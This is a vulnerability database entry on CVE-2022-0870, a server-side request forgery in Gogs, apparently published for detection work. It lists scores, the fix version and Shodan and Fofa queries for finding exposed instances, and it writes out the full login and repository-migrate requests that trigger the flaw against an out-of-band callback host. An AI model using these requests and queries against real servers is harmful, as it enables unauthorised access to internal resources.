🔙 목록으로 돌아가기

CVE-2022-0870: Gogs <0.12.5 - Server-Side Request Forgery

TitleGogs <0.12.5 - Server-Side Request Forgery
Authortheamanrawat,Akincibor
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can result in unauthorized access to sensitive internal resources.
RemediationFixed in version 0.12.5.
CVSS Score5.3
EPSS Score0.07241
CVE IDCVE-2022-0870
CWE IDCWE-918
Shodan Querycpe:"cpe:2.3:a:gogs:gogs"http.title:"sign in - gogs"
Fofa Querytitle="sign in - gogs"
Tags cve cve2022 ssrf gogs authenticated huntr vuln

🔍 Vulnerability Description

Gogs GitHub repository before 0.12.5 is susceptible to server-side request forgery. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Accept-Encoding: gzip
POST /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_csrf=dXqzDJ&user_name=Lry2MD&password=wTAkLt3K
GET /repo/migrate HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /repo/migrate HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0
Connection: close
Content-Length: 170
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_csrf=oSIJl6&clone_addr=https%3A%2F%2Fd5jltlple0o2t80oa890ij3urn8hpo6xf.oast.me&auth_username=&auth_password=&uid=1&repo_name=38F4pRHdBqvZWFZvGASSrA9V497&description=test

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0870.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0870.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A